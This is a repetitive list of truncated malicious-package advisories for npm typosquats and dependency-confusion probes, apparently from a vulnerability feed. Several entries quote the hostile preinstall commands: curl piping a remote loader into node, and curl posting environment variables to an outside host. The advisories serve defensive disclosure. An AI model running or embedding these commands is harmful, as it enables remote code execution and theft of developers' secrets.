Malicious code in @dransay/secrets (npm)

@dransay/[email protected] is a dependency-confusion probe claiming the internal @dransay/ namespace, not an identified public package. Its preinstall hook runs on npm install as node beacon.js and sends a DNS lookup and an HTTPS GET to db3klhbi6i9hark1kegg174t38h33b6wt.oast.site, using the package...

Malicious code in abbishal-poc2 (npm)

Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=v, l=rl and then invokes $i$h$l -d "uptime"...

Malicious code in abbishal-poc-as-dependency (npm)

Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success command by splitting the tokens curl, env, and -d across...

Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

MAL-2026-17654 Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

Embedded Malicious Code

Overview tensorlake is a TensorLake SDK for applications, sandboxes, and cloud services Affected versions of this package are vulnerable to Embedded Malicious Code that contains a credential-stealing worm known as Shai-Hulud. A malicious actor used a repository administrator account to commit the...

Malicious code in api-nebula (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8232ec7756422686c2bce805fc87821e61a5bd9176cdb2fe7c3190fd2b2eae2 The package declares "preinstall": "node preinstall.cjs" in package.json, and preinstall.cjs is a single-line 187 KB Function"pbeIUC", "…" invocation...

Malicious code in express-fork (npm)

Source: amazon-inspector 174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d [email protected] is a typosquat of the express package. Its package.json metadata description, author, repository, keywords is copied verbatim from express, while package.json line 98 defines a preinstall...

Malicious code in express-enhanced (npm)

Source: amazon-inspector 15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6 [email protected] impersonates the express package: it ships the express README verbatim, declares TJ Holowaychuk as author, and points repository at expressjs/express, while publishing under a differen...

Malicious code in @nagular/core (npm)

Source: amazon-inspector 5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557 The package's package.json declares a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching ...

Malicious code in @angulra/cli (npm)

Source: amazon-inspector e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata description, repository, homepage, keywords, dependencies. Its package.json defines a...

Malicious code in @babell/core (npm)

Source: amazon-inspector ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b The package's package.json defines a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloadin...

Malicious code in @angulra/core (npm)

Source: amazon-inspector 7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34 The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from an unrelated...

Malicious code in @angularr/router (npm)

Source: amazon-inspector 646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83 The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript...

MAL-2026-17496 Malicious code in @angulra/core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34 The package.json preinstall script runs curl -L...

Malicious code in @angulra/core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34 The package.json preinstall script runs curl -L...

Malicious code in @angulra/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata description, repository, homepage,...

MAL-2026-17495 Malicious code in @angulra/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata description, repository, homepage,...

MAL-2026-17494 Malicious code in @angularr/router (npm)

@angularr/[email protected] impersonates router it copies the code and metadata of the pillarjs router package and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

Malicious code in @angularr/router (npm)

@angularr/[email protected] impersonates router it copies the code and metadata of the pillarjs router package and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...